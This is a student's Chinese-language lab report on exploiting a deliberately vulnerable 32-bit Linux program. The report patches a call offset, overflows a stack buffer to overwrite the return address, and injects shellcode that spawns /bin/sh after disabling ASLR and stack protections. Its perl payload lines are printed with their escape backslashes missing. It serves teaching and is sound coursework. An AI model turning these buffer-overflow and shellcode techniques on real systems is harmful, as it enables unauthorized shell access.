一、实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
-
预设条件
1.关闭堆栈保护(gcc -fno-stack-protector) 2.关闭堆栈执行保护(execstack -s) 3.关闭地址随机化 (/proc/sys/kernel/randomize_va_space=0) 4.在x32环境下 5.在Linux实践环境
二、基础知识
1. 管道 |
利用 Linux 所提供的管道符“|”将两个命令隔开,管道符左边命令的输出就会作为管道符右边命令的输入。
2. Shell 输入/输出重定向
| 命令 | 说明 |
|---|---|
| command > file | 将输出重定向到 file |
| command < file | 将输入重定向到 file |
| command >> file | 将输出以追加的方式重定向到 file |
| n > file | 将文件描述符为 n 的文件重定向到 file |
| n >> file | 将文件描述符为 n 的文件以追加的方式重定向到 file |
| n >& m | 将输出文件 m 和 n 合并 |
| n <& m | 将输入文件 m 和 n 合并 |
| << tag | 将开始标记 tag 和结束标记 tag 之间的内容作为输入 |
3. NOP, JNE, JE, JMP, CMP汇编指令的机器码
| 汇编指令 | 功能 | 机器码 |
|---|---|---|
| NOP | 无作用 | 90 |
| JNE | 若不相等则转移 | 75 |
| JE | 若相等则转移 | 74 |
| JMP | 无条件转移 | eb |
| CMP | 比较 | 39 |
4. 反汇编与十六进制编程器
-
objdump 命令
Linux下的反汇编目标文件或者可执行文件的命令 。
-
objdump -d 参数
--disassemble:从objfile中反汇编那些特定指令机器码的section。更多参数查看官方文档。
-
十六进制编程器 =
vi/vim+xxd利用
vi/vim调用外部十六进制文件显示命令xxd即可编辑二进制文件。- 查看模式下,
%!xxd将当前文本转换为16进制格式显示; - 查看模式下,
%!xxd -r将当前文件转换回文本格式显示。
注意:在使用
%!xxd -r恢复格式之前,不能:w保存文件,否则可执行文件无法执行。 - 查看模式下,
5. 能正确修改机器指令改变程序执行流程
- 实践内容A
6. 能正确构造payload进行bof攻击
- 实践内容B
三、实践内容
A. 直接修改程序机器指令,改变程序执行流程
-
下载、解压、复制原文件
-
objdump -d xxxxxxxxpwn1反汇编


-
call 8048491对应机器指令e8 d7ffffff,含义为eip = eip + 偏移量。 -
正常流程:
当前 eip 值为
80484ba,偏移量为d7ffffff(补码,表示-41),新 eip 为80484ba + d7ffffff = 8048491- 改变程序执行流程为
<getShell>:
新 eip 为
80484ba + 偏移量 = 0804847d,计算得偏移量c3ffffff。 -
-
修改程序机器指令
-
cp xxxxxxxxpwn1 xxxxxxxxpwn2 -
vim xxxxxxxxpwn2打开文件后为乱码

- 查看模式下,
%!xxd将当前文本转换为16进制格式显示;

e8 d7从头开始查找e8 d7

-
查看模式下,
%!xxd -r将当前文件转换回文本格式显示。 -
:wq保存退出。
-
-
再次反汇编查看修改结果
objdump -d xxxxxxxxpwn1
B. 通过构造输入参数,造成BOF攻击,改变程序执行流程
-
objdump -d xxxxxxxxpwn3反汇编观察<foo>函数
- 得到
lea -0x1c(%ebp),%eax指令,分析:
取
%ebp + 0x1c地址,并将其传送到目的操作数单元%eax。0x1c为 28字节,%eax为 4 字节,需溢出 4 字节。- 得:缓冲区:28 + 4 = 32 字节; 同时在堆栈上压上返回地址值
0x80484ba。
- 得到
-
确认覆盖返回地址
-
gdb xxxxxxxxpwn3进行调试;r开始运行;输入
123456789a123456789a123456789a123456,123456789a表示 10 位,其中3456为 33-36位。 -
超出缓冲区显示:
Program received signal SIGSEGV, Segmentation fault.。 -
eip 0x36353433 0x36353433为 ASCII 5 值。确认覆盖返回地址。
-
-
构造输入字符串
-
Shell 重定向输出为文件:
perl -e 'print "123456789a123456789a123456789a12x7dx84x04x08x0a"' > input -
xxd input:16进制查看指令查看input文件的内容是否如预期。 -
(cat input; cat) | ./xxxxxxxxpwn3:将
cat input; cat的输出,通过管道符“|”,作为 xxxxxxxxpwn3 的输入。
-
C. 注入Shellcode并执行
-
检查 execstack 安装情况
-
准备、初始设置
execstack -s pwn1 //设置堆栈可执行 execstack -q pwn1 //查询文件的堆栈是否可执行 more /proc/sys/kernel/randomize_va_space echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化 more /proc/sys/kernel/randomize_va_space -
anything+retaddr+nops+shellcode构造成功攻击buf的结构(成功)-
由
gdb来调试xxxxxxxxpwn4这个进程。a.
ps -ef | grep pwn查看进程号;
b. 另一终端使用gdb,调用进程attach 4148;
c. 反汇编<foo>函数disassemble foo;
d. 设置ret断点break *0x080484ae;
e. 另一终端按下回车
f. 再回到 gdb 终端输入c继续运行;
g.info r esp查看%esp的值;
h.x/16x 0x........显示 shellcode 前的起始地址:

-
得到:
0x01020304对应内存地址0xffffd69c。0xffffd69c后 4 字节是 shellcode 的起始地址:0xffffd6a0 -
由此更改老师注入代码,前 4 个
x数据。perl -e 'print "A" x 32;print "xa0xd6xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode -
(cat input_shellcode;cat) | ./xxxxxxxxpwn4注入:
-
四、应跳过的坑:nops+shellcode+retadd 构造攻击buf的结构
-
大部分操作步骤同上:
anything+retaddr+nops+shellcode构造成功攻击buf的结构。 -
主要是
nops+shellcode+retadd构造的,注入shellcode运行后失败:perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode

五、总结
1. 实验收获与感想
这是第一次做“利用漏洞对一段程序进行攻击”的相关实验。在我看来没有什么问题的代码,却隐藏着危害非常大的漏洞。对于以后程序的编写,特别是对于C语言之类(标准 C 语言函数库提供了一些没有边界检查的字符串处理函数), 我会更加重视。
2. 什么是漏洞?漏洞有什么危害?
(1) 漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。
(2) 不同的平台、不同的设备、不同的方面上的漏洞会产生不同危害。
系统漏洞:被不法者利用,通过网络植入木马、病毒等方式来攻击或控制整个电脑,窃取电脑中的重要资料和信息,甚至破坏系统。
网站漏洞:数据库信息泄漏、网页篡改、数据库被恶意操作、服务器被远程控制、破坏硬盘数据、全系统瘫痪等等。